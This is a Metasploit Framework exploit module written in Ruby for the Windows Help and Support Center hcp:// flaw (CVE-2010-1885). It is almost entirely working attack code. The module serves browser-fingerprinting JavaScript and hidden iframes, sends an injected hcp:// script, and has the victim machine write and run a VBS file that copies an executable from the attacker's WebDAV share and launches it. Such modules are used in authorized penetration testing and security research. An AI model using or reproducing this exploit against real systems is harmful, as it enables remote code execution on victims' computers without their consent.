Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = ExcellentRanking

        #

        # This module acts as an HTTP server

        #

        include Msf::Exploit::Remote::HttpServer::HTML

        include Msf::Exploit::EXE

        def initialize(info = {})

                super(update_info(info,

                        'Name'                        => 'Microsoft Help Center XSS and Command Execution',

                        'Description'        => %q{

                                        Help and Support Center is the default application provided to access online

                                documentation for Microsoft Windows. Microsoft supports accessing help documents

                                directly via URLs by installing a protocol handler for the scheme "hcp". Due to

                                an error in validation of input to hcp:// combined with a local cross site

                                scripting vulnerability and a specialized mechanism to launch the XSS trigger,

                                arbitrary command execution can be achieved.

                                On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it

                                can be used to launch the exploit automatically. If IE8 and WMP11, either can

                                be used to launch the attack, but both pop dialog boxes asking the user if

                                execution should continue. This exploit detects if non-intrusive mechanisms are

                                available and will use one if possible. In the case of both IE8 and WMP11, the

                                exploit defaults to using an iframe on IE8, but is configurable by setting the

                                DIALOGMECH option to "none" or "player".

                        },

                        'Author'                =>

                                [

                                        'Tavis Ormandy',  # Original discovery

                                        'natron'          # Metasploit version

                                ],

                        'License'                => MSF_LICENSE,

                        'Version'                => '$Revision$',

                        'References'        =>

                                [

                                        [ 'CVE', '2010-1885' ],

                                        [ 'OSVDB', '65264' ],

                                        [ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],

                                        [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],

                                        [ 'MSB', 'MS10-042']

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Payload'                =>

                                {

                                        'Space'        => 2048,

                                },

                        'Platform'                => 'win',

                        'Targets'                =>

                                [

                                        [ 'Automatic',        { } ]

                                ],

                        'DisclosureDate' => 'Jun 09 2010',

                        'DefaultTarget'  => 0))

                register_options(

                        [

                                OptPort.new(        'SRVPORT',                 [ true, "The daemon port to listen on", 80 ]),

                                OptString.new(        'URIPATH',                 [ true, "The URI to use.", "/" ]),

                                OptString.new(        'DIALOGMECH',         [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])

                        ], self.class)

                deregister_options('SSL', 'SSLVersion') # Just for now

        end

        def on_request_uri(cli, request)

                # If there is no subdirectory in the request, we need to redirect.

                if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)

                        if (request.uri == '/')

                                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'

                        else

                                subdir = request.uri + '/'

                        end

                        print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")

                        send_redirect(cli, subdir)

                        return

                end

                case request.method

                when 'OPTIONS'

                        process_options(cli, request)

                when 'PROPFIND'

                        process_propfind(cli, request)

                when 'GET'

                        process_get(cli, request)

                else

                        print_error("Unexpected request method encountered: #{request.method}")

                end

        end

        def process_get(cli, request)

                @my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

                webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"

                @url_base  = "http://" + @my_host

                if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))

                        print_status "Sending payload executable to target ..."

                        return if ((p = regenerate_payload(cli)) == nil)

                        data = generate_payload_exe({ :code => p.encoded })

                        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

                        return

                end

                if request.uri.match(/\.gif$/)

                        # "world's smallest gif"

                        data  = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"

                        data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"

                        print_status "Sending gif image to WMP"

                        send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )

                end

                # ASX Request Inbound

                if request.uri.match(/\.asx$/)

                        asx = %Q|<ASX VERSION="3.0">

<PARAM name="HTMLView" value="URLBASE/STARTHELP"/>

<ENTRY>

        <REF href="URLBASE/IMGFILE"/>

</ENTRY>

</ASX>

|

                        asx.gsub!(/URLBASE/, @url_base)

                        asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)

                        asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)

                        print_status("Sending asx file")

                        send_response(cli, asx, { 'Content-Type' => 'text/html' })

                        return

                end

                # iframe request inbound from either WMP or IE7

                if request.uri.match(/#{@start_help}/)

                        help_html = <<-EOS

<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">

EOS

                        rand_vbs        = rand_text_alpha(rand(2)+1) + ".vbs"

                        copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^

                        vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|

                        write_vbs        = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|

                        launch_vbs  = %Q|cscript %TEMP%\\#{rand_vbs}>nul|

                        concat_cmds = "#{write_vbs}|#{launch_vbs}"

                        eval_block  = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"

                        eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))

                        help_html.gsub!(/COMMANDS/, eval_block)

                        print_status("Sending exploit trigger")

                        send_response(cli, help_html, { 'Content-Type' => 'text/html' })

                        return

                end

                # default initial response

                js = %Q|

var asx = "URLBASE/ASXFILE";

var ifr = "URLBASE/IFRFILE";

function launchiframe(src) {

        var o = document.createElement("IFRAME");

        o.setAttribute("width","0");

        o.setAttribute("height","0");

        o.setAttribute("frameborder","0");

        o.setAttribute("src",src);

        document.body.appendChild(o);

}

if (window.navigator.appName == "Microsoft Internet Explorer") {

        var ua = window.navigator.userAgent;

        var re  = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");

        re.exec(ua)

        ver = parseFloat( RegExp.$1 );

        // if ie8, check WMP version

        if (ver > 7) {

                var o = document.createElement("OBJECT");

                o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");

                o.setAttribute("uiMode", "invisible");

                // if wmp9, go ahead and launch

                if( parseInt(o.versionInfo) < 10 ) {

                        o.openPlayer(asx);

                // if > wmp9, only launch if user requests

                } else {

                        DIALOGMECH

                }

        // if ie7, use iframe

        } else {

                launchiframe(ifr);

        }

} else {

        // if other, try iframe

        launchiframe(ifr);

}

|

                html = %Q|<html>

<head></head><body><script>JAVASCRIPTFU

</script>

</body>

</html>

|

                case datastore['DIALOGMECH']

                when "player"

                        mech = "o.openPlayer(asx);"

                when "iframe"

                        mech = "launchiframe(ifr);"

                when "none"

                        mech = ""

                else

                        mech = ""

                end

                html.gsub!(/JAVASCRIPTFU/, js)

                html.gsub!(/DIALOGMECH/, mech)

                html.gsub!(/URLBASE/, @url_base)

                html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)

                html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)

                print_status("Sending #{self.name}")

                headers = {

                        'Content-Type'                => 'text/html',

                        #'X-UA-Compatible'        => 'IE=7'

                }

                send_response(cli, html, headers)

        end

        #

        # OPTIONS requests sent by the WebDav Mini-Redirector

        #

        def process_options(cli, request)

                print_status("Responding to WebDAV OPTIONS request")

                headers = {

                        #'DASL'   => '<DAV:sql>',

                        #'DAV'    => '1, 2',

                        'Allow'  => 'OPTIONS, GET, PROPFIND',

                        'Public' => 'OPTIONS, GET, PROPFIND'

                }

                send_response(cli, '', headers)

        end

        def convert_to_char_code(str)

                return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop

        end

        #

        # PROPFIND requests sent by the WebDav Mini-Redirector

        #

        def process_propfind(cli, request)

                path = request.uri

                print_status("Received WebDAV PROPFIND request")

                body = ''

                if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))

                        # Response for the EXE

                        print_status("Sending EXE multistatus for #{path} ...")

#<lp1:getcontentlength>45056</lp1:getcontentlength>

                        body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>

<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>

<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>

<lp2:executable>F</lp2:executable>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

|

                elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)

                        print_status("Sending 404 for #{path} ...")

                        send_not_found(cli)

                        return

                elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))

                        # Response for anything else (generally just /)

                        print_status("Sending directory multistatus for #{path} ...")

                        body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>

<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>

<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

|

                else

                        print_status("Sending 404 for #{path} ...")

                        send_not_found(cli)

                        return

                end

                # send the response

                resp = create_response(207, "Multi-Status")

                resp.body = body

                resp['Content-Type'] = 'text/xml'

                cli.send_response(resp)

        end

        def exploit

                @random_dir = rand_text_alpha(rand(2)+1)

                @asx_file        = rand_text_alpha(rand(2)+1) + ".asx"

                @start_help        = rand_text_alpha(rand(2)+1) + ".html"

                @payload        = rand_text_alpha(rand(2)+1) + ".exe"

                @img_file        = rand_text_alpha(rand(2)+1) + ".gif"

                if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'

                        raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'

                end

                super

        end

end